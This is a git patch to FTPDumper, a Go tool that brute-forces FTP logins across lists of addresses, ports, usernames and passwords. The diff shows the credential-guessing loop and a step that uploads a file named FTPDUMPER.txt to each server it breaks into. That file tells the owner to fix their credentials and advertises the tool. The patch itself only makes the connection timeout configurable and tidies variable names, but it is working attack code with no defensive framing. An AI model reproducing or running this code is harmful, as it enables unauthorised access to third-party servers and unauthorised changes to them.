From 0597450bcb97ab2b3a9875d0662d3da4bb9ac157 Mon Sep 17 00:00:00 2001 From: Sno Date: Sun, 14 Apr 2024 13:54:47 -0700 Subject: [PATCH] Timeout Fix --- Core/core.go | 3 --- Dumper/dumper.go | 4 +++- ftp/ftp.go | 4 ++-- main.go | 5 ++--- 4 files changed, 7 insertions(+), 9 deletions(-) diff --git a/Core/core.go b/Core/core.go index da7dca2..ef52727 100644 --- a/Core/core.go +++ b/Core/core.go @@ -2,7 +2,6 @@ package Core import ( "FTPDumper/Utility" - "bytes" "errors" "fmt" "github.com/integrii/flaggy" @@ -26,8 +25,6 @@ var ( OutputFolder = "files" Type EscannerType Counter = Utility.NewCounter() - DumperText = bytes.NewReader([]byte("Fix your server credentials\n" + - "You Can Download FTPDumper From https://github.com/MatrixTM/FTPDumper\n")) ) var ( diff --git a/Dumper/dumper.go b/Dumper/dumper.go index 5b291b7..54d6fe3 100644 --- a/Dumper/dumper.go +++ b/Dumper/dumper.go @@ -4,6 +4,7 @@ import ( "FTPDumper/Core" "FTPDumper/Utility" "FTPDumper/ftp" + "bytes" "crypto/sha256" "encoding/hex" "fmt" @@ -81,7 +82,8 @@ func Try(address, port, user, password string) error { } } - _ = client.UploadFile("FTPDUMPER.txt", Core.DumperText) + _ = client.UploadFile("FTPDUMPER.txt", bytes.NewReader([]byte("Fix your server credentials\n"+ + "You Can Download FTPDumper From https://github.com/MatrixTM/FTPDumper\n"))) return nil } diff --git a/ftp/ftp.go b/ftp/ftp.go index 75c3023..5cf685f 100644 --- a/ftp/ftp.go +++ b/ftp/ftp.go @@ -1,10 +1,10 @@ package ftp import ( + "FTPDumper/Core" "github.com/jlaffaye/ftp" "io" "os" - "time" ) type Client interface { @@ -40,7 +40,7 @@ func NewFTPClient(username, password string) Client { // // It takes the server address as a parameter and returns an error. func (f *FTP) Connect(address string) error { - conn, err := ftp.Dial(address, ftp.DialWithTimeout(time.Second*5)) // make timeout in args + conn, err := ftp.Dial(address, ftp.DialWithTimeout(Core.Timeout)) // make timeout in args if err != nil { return err } diff --git a/main.go b/main.go index e0101d0..8a0115f 100644 --- a/main.go +++ b/main.go @@ -36,12 +36,12 @@ func main() { } }() - for next, err := reader.Next(); next != "" && err == nil; next, err = reader.Next() { + for address, err := reader.Next(); address != "" && err == nil; address, err = reader.Next() { pool.Submit(func() { for _, port := range Core.Ports { for _, user := range Core.Users { for _, password := range Core.Passwords { - err := Dumper.Try(next, port, user, password) + err := Dumper.Try(address, port, user, password) if errors.Is(err, Core.TimeoutErr) { return } @@ -55,7 +55,6 @@ func main() { } } } - }) } }